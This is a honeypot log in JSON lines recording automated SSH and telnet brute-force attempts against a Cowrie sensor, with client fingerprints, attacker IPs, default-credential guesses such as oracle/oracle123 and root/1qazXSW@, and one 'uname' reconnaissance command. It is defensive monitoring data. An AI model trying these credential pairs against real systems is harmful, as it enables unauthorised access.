{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:23.945355Z","src_ip":"176.65.132.129","session":"c3f81e8844a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:24.292940Z","src_ip":"176.65.132.129","session":"c3f81e8844a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41294,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce1dc39bd76","protocol":"telnet","message":"New connection: 45.58.127.90:41294 (10.17.0.5:23) [session: 7ce1dc39bd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:24.693606Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:25.376953Z","src_ip":"176.65.132.129","session":"c3f81e8844a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57968,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff32aa6c92ad","protocol":"ssh","message":"New connection: 176.65.132.129:57968 (159.203.135.109:22) [session: ff32aa6c92ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:27.263281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:27.268997Z","src_ip":"176.65.132.129","session":"ff32aa6c92ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:27.352789Z","src_ip":"176.65.132.129","session":"ff32aa6c92ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:27.602046Z","src_ip":"176.65.132.129","session":"ff32aa6c92ad","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:27.810502Z","src_ip":"176.65.132.129","session":"ff32aa6c92ad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:27.813786Z","src_ip":"176.65.132.129","session":"ff32aa6c92ad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:27.898495Z","src_ip":"176.65.132.129","session":"ff32aa6c92ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:27.904806Z","src_ip":"176.65.132.129","session":"ff32aa6c92ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":49386,"dst_ip":"10.17.0.5","dst_port":22,"session":"95428162011a","protocol":"ssh","message":"New connection: 103.176.90.41:49386 (10.17.0.5:22) [session: 95428162011a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.320681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.325826Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.413276Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:d6:5d:dc:30:74:d8:68:88:9a:f5:57:da:ec:cb:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrTDiTy1lisSqwiIY/+AU/Gd4paydZRTb7CoXTTppVcowGAGT85M8f+2p1S9D6suf8stMTUTuHz69pSOPD1wkEOrCwqRAUzUYLyBVevLqwZ8jgDBbdBWT+e7KTako4sIAZrendxGdZ93YbtoXzorIQ1pvdxbyIt1WPzPRoiMs805VcWSu/0/wblmP+m4+FsOJ8+Ou/pmR+mtO6Z0ZDHWslKIM5xpBCThPKGWhXqQv3X1PbMKU/4qG1I6EfglL77ThgrPA6rl5rbSUjZ1GAM0fXnB1AJA9NtvbIuSbwfUfu9xsNyhpg25ej+0/HOM52tc02EPtFrRafsrKLUEi6WChH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:d6:5d:dc:30:74:d8:68:88:9a:f5:57:da:ec:cb:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.811299Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:d6:5d:dc:30:74:d8:68:88:9a:f5:57:da:ec:cb:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrTDiTy1lisSqwiIY/+AU/Gd4paydZRTb7CoXTTppVcowGAGT85M8f+2p1S9D6suf8stMTUTuHz69pSOPD1wkEOrCwqRAUzUYLyBVevLqwZ8jgDBbdBWT+e7KTako4sIAZrendxGdZ93YbtoXzorIQ1pvdxbyIt1WPzPRoiMs805VcWSu/0/wblmP+m4+FsOJ8+Ou/pmR+mtO6Z0ZDHWslKIM5xpBCThPKGWhXqQv3X1PbMKU/4qG1I6EfglL77ThgrPA6rl5rbSUjZ1GAM0fXnB1AJA9NtvbIuSbwfUfu9xsNyhpg25ej+0/HOM52tc02EPtFrRafsrKLUEi6WChH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.815134Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:5c:ef:94:78:1d:7f:f9:33:19:a7:f3:df:eb:f7:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX2IrlbFW+y76RkMLl71tXFodxTIr3HMhjnJ+q7xi3jMCun6uxrvjtGv3VQWqx+6gYxuzToyXEwd2XiiAyVRZECUa1hq9dBnpAe3/I5DTqFV6CWCdUYf4xujdbEIpc1zkSKt6vhxLRSHC/6Ss0sRcb9gPvyo/dtOqGwYA3OixkhZHuqhNoi7+sQINn0G3pUsy2HLIrn9gw9mzMORlH8t9b5BCHTrcxn2H5qwvewn0uSZkStnQZF/5COJtvBio3Rpnp97YmRyjOSF7h1uzA8VTIZAy0MCe8UwQyCA7POPu2siPw3NmbMHZYLI/4SDlhGaB7AqdGe6emnnpRK8mw/KBN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:5c:ef:94:78:1d:7f:f9:33:19:a7:f3:df:eb:f7:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.902074Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:5c:ef:94:78:1d:7f:f9:33:19:a7:f3:df:eb:f7:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX2IrlbFW+y76RkMLl71tXFodxTIr3HMhjnJ+q7xi3jMCun6uxrvjtGv3VQWqx+6gYxuzToyXEwd2XiiAyVRZECUa1hq9dBnpAe3/I5DTqFV6CWCdUYf4xujdbEIpc1zkSKt6vhxLRSHC/6Ss0sRcb9gPvyo/dtOqGwYA3OixkhZHuqhNoi7+sQINn0G3pUsy2HLIrn9gw9mzMORlH8t9b5BCHTrcxn2H5qwvewn0uSZkStnQZF/5COJtvBio3Rpnp97YmRyjOSF7h1uzA8VTIZAy0MCe8UwQyCA7POPu2siPw3NmbMHZYLI/4SDlhGaB7AqdGe6emnnpRK8mw/KBN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.906061Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:50:ca:4f:2e:ad:4e:2a:d4:04:7e:0b:14:63:6d:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTfB/EpiV+Gc58G3WXxHjGlbAYK1as0bNkwMFwq0lLD2PTqWDwixjKtzytNAZiTW0jGXUyWj2k4C7wE7YmtRoCsUDFm9ebOo1WP242crBT2VfkbembrNJYUX9NTlbfGmN0pqsdeirC0mKscLmOXSkMxFG0U7ZbQgyGCv1Hwg9ju7wpazjWtI1GABW+eNmKzRSuFDFbmXZPmilwd68V6lz1izcqrZII7PKAizNXU4NtP3RoePyfwivT5m36n6EoXtTeONmjI6b9C13UQNmiSbFZRDh89WWHjgwF536JnDMXxhJRjZ4rEMmjYQIGIDHAPYq62yI71x8HtKbvUv0ZD1u5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:50:ca:4f:2e:ad:4e:2a:d4:04:7e:0b:14:63:6d:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.990321Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:50:ca:4f:2e:ad:4e:2a:d4:04:7e:0b:14:63:6d:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTfB/EpiV+Gc58G3WXxHjGlbAYK1as0bNkwMFwq0lLD2PTqWDwixjKtzytNAZiTW0jGXUyWj2k4C7wE7YmtRoCsUDFm9ebOo1WP242crBT2VfkbembrNJYUX9NTlbfGmN0pqsdeirC0mKscLmOXSkMxFG0U7ZbQgyGCv1Hwg9ju7wpazjWtI1GABW+eNmKzRSuFDFbmXZPmilwd68V6lz1izcqrZII7PKAizNXU4NtP3RoePyfwivT5m36n6EoXtTeONmjI6b9C13UQNmiSbFZRDh89WWHjgwF536JnDMXxhJRjZ4rEMmjYQIGIDHAPYq62yI71x8HtKbvUv0ZD1u5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:28.993891Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:aa:38:43:4a:b7:d4:71:f4:a3:62:98:c8:45:d9:00","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO5La3cS3475OH2m/viWWFmYfoXdQPu2+wY9v8MW84IENUXdJ1C7VzEj//NQblHpJuchJTcMgMFqm9UMDVhIM/yELohfCjaVCwT6IyXq29sAyzT9omo03jfbcx/7OeBqLfEgQgQzd8bRcwLSX9jTvrioVRJB5llLJsY81cNxsR3zAAAAFQCICo4zT0tX4goafWDv28taZoUbJQAAAIApvpDua6Clm3fpB/mOtfzkn4mYgo0hcXmC4VcFyXKaovjMipGItWfiQmjo4rmbuqpKgeAQFNb5mdKD0PD0aZhCvqDb/qKVOmqW+EQvtN0kS29NHqNi8n5YbsiPPYwpWFIM9adu0YpQrst1tpXg9e0x7riPjCmE63o6nJ1LjMRMhQAAAIEAxvOIJldLBgFs+t9oCUvdX2+0YmJSqybU1dW050/QjkQKqMTT0L0j4st6lJB0rkv08sqs9l62xtfvB8J5C7fbxEXQZXwMP03KfFY2PqOaUtVsdqCBgI77ex/8aB36YOI81O4T/iTn94NqfPg08AzOPKu1vGoaq4s17ukXzvECWHE=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 52:aa:38:43:4a:b7:d4:71:f4:a3:62:98:c8:45:d9:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:29.077473Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:aa:38:43:4a:b7:d4:71:f4:a3:62:98:c8:45:d9:00","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO5La3cS3475OH2m/viWWFmYfoXdQPu2+wY9v8MW84IENUXdJ1C7VzEj//NQblHpJuchJTcMgMFqm9UMDVhIM/yELohfCjaVCwT6IyXq29sAyzT9omo03jfbcx/7OeBqLfEgQgQzd8bRcwLSX9jTvrioVRJB5llLJsY81cNxsR3zAAAAFQCICo4zT0tX4goafWDv28taZoUbJQAAAIApvpDua6Clm3fpB/mOtfzkn4mYgo0hcXmC4VcFyXKaovjMipGItWfiQmjo4rmbuqpKgeAQFNb5mdKD0PD0aZhCvqDb/qKVOmqW+EQvtN0kS29NHqNi8n5YbsiPPYwpWFIM9adu0YpQrst1tpXg9e0x7riPjCmE63o6nJ1LjMRMhQAAAIEAxvOIJldLBgFs+t9oCUvdX2+0YmJSqybU1dW050/QjkQKqMTT0L0j4st6lJB0rkv08sqs9l62xtfvB8J5C7fbxEXQZXwMP03KfFY2PqOaUtVsdqCBgI77ex/8aB36YOI81O4T/iTn94NqfPg08AzOPKu1vGoaq4s17ukXzvECWHE=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:29.080925Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:63:89:ba:aa:6a:a1:a9:ca:42:18:91:0a:57:d2:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZqFJyeQlSmgp1TzDwCOilfwbYJNtQl5vGxnttew5QC24/3nwRwaY/4JtAylpDwKih+A4chsOw3BDtWkLZscpFsEgmC6hhnHkjxKTXo00/uVz8mpxu5TayD+gC6zrflIsD1gWN29UW7xSo7Jrk4U/qGJsW+vIzAySsdz7NoyBAxazD5VtQGnr1DhlZvlfe2380XAshEoN9epDRjK7xd3Ysu5MKSWu9KpdWg6RI6qBo/dRAuxL3rcSZmNMCNmAz/cysD5tDV/8IQuR60BXo58XNdpvbVEQCCHnTf2p789na/DbGhMTPPZXyjktLrOOyfUtffH7MZ50YQzLNwe+F8V6VAhYNbXTeUZN5HhpJB3MnqZOVeHIKVzW1dMIkCoA7QP3BICyX5zBNhe3af52c5VTBOrK9gzd8ehDVGzzAWOTR5tL3zsXY2LS8gTACSyUg1llhVzhlsaJy2c+IOntg7bThX+HoZF2/YqibHoP2C0eipxCiQHlIhlKlvA9hWeQXInqIxc8dp2n3fgHPbpBHE8NmdQfpHRAhRqfJzYKvKMKvf2wxDmHBci6EcHJL7c8dWwefW2wkBUraz1P7OZjpJEOdfwtRSG/7IJRR7wB+0MDDu7n4reB8C988Un5ZfuZBTuH93kLlLcz69hGTCPp7C1GGhakYCopxq/TbPGbnPa5l9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:63:89:ba:aa:6a:a1:a9:ca:42:18:91:0a:57:d2:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:29.164968Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:63:89:ba:aa:6a:a1:a9:ca:42:18:91:0a:57:d2:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZqFJyeQlSmgp1TzDwCOilfwbYJNtQl5vGxnttew5QC24/3nwRwaY/4JtAylpDwKih+A4chsOw3BDtWkLZscpFsEgmC6hhnHkjxKTXo00/uVz8mpxu5TayD+gC6zrflIsD1gWN29UW7xSo7Jrk4U/qGJsW+vIzAySsdz7NoyBAxazD5VtQGnr1DhlZvlfe2380XAshEoN9epDRjK7xd3Ysu5MKSWu9KpdWg6RI6qBo/dRAuxL3rcSZmNMCNmAz/cysD5tDV/8IQuR60BXo58XNdpvbVEQCCHnTf2p789na/DbGhMTPPZXyjktLrOOyfUtffH7MZ50YQzLNwe+F8V6VAhYNbXTeUZN5HhpJB3MnqZOVeHIKVzW1dMIkCoA7QP3BICyX5zBNhe3af52c5VTBOrK9gzd8ehDVGzzAWOTR5tL3zsXY2LS8gTACSyUg1llhVzhlsaJy2c+IOntg7bThX+HoZF2/YqibHoP2C0eipxCiQHlIhlKlvA9hWeQXInqIxc8dp2n3fgHPbpBHE8NmdQfpHRAhRqfJzYKvKMKvf2wxDmHBci6EcHJL7c8dWwefW2wkBUraz1P7OZjpJEOdfwtRSG/7IJRR7wB+0MDDu7n4reB8C988Un5ZfuZBTuH93kLlLcz69hGTCPp7C1GGhakYCopxq/TbPGbnPa5l9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:29.168702Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:29.253309Z","src_ip":"103.176.90.41","session":"95428162011a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57970,"dst_ip":"159.203.135.109","dst_port":22,"session":"3570a0b9afa3","protocol":"ssh","message":"New connection: 176.65.132.129:57970 (159.203.135.109:22) [session: 3570a0b9afa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:30.568446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:30.573156Z","src_ip":"176.65.132.129","session":"3570a0b9afa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:30.658524Z","src_ip":"176.65.132.129","session":"3570a0b9afa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:30.912746Z","src_ip":"176.65.132.129","session":"3570a0b9afa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.82457685470581,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:31.342620Z","src_ip":"45.58.127.90","session":"611c8d3c831f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:32.006128Z","src_ip":"176.65.132.129","session":"3570a0b9afa3","protocol":"ssh"}
